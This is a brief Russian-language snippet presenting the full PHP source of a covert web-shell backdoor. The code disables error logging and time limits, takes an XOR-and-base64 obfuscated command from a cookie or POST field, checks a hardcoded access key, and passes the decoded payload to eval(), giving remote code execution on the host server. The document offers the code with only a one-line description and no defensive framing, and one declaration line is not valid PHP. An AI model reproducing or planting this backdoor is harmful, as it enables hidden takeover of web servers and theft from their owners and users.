Первый скрипт, принимает зашифрованную команду через $_COOKIES или $_POST и возвращает результат её выполнения.
<?php
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
$command = NULL;
$pass = NULL;
global $globalKey = 'cfa57343-5fb2-4c08-95bc-c0e9c5972f14';
function decode($str, $key)
{
$result = "";
for ($i = 0; $i < strlen($str);)
{
for ($j = 0; $j < strlen($key) && $i < strlen($str); $j++, $i++)
{
$result .= chr(ord($str[$i]) ^ ord($key[$j]));
}
}
return $result;
}
function decode2($str, $key)
{
global $globalKey;
return decode(decode($str, $globalKey), $key);
}
foreach ($_COOKIE as $name => $value)
{
$command = $value;
$pass = $name;
}
if (!$command)
{
foreach ($_POST as $name => $value)
{
$command = $value;
$pass = $name;
}
}
$command = @unserialize(decode2(base64_decode($command), $pass));
if (isset($command['ak']) && $globalKey == $command['ak'])
{
if ($command['a'] == 'i')
{
$versions = Array(
'pv' => @phpversion(),
'sv' => '1.0-1',
);
echo @serialize($versions);
}
elseif ($command['a'] == 'e')
{
eval($command['d']);
}
exit();
}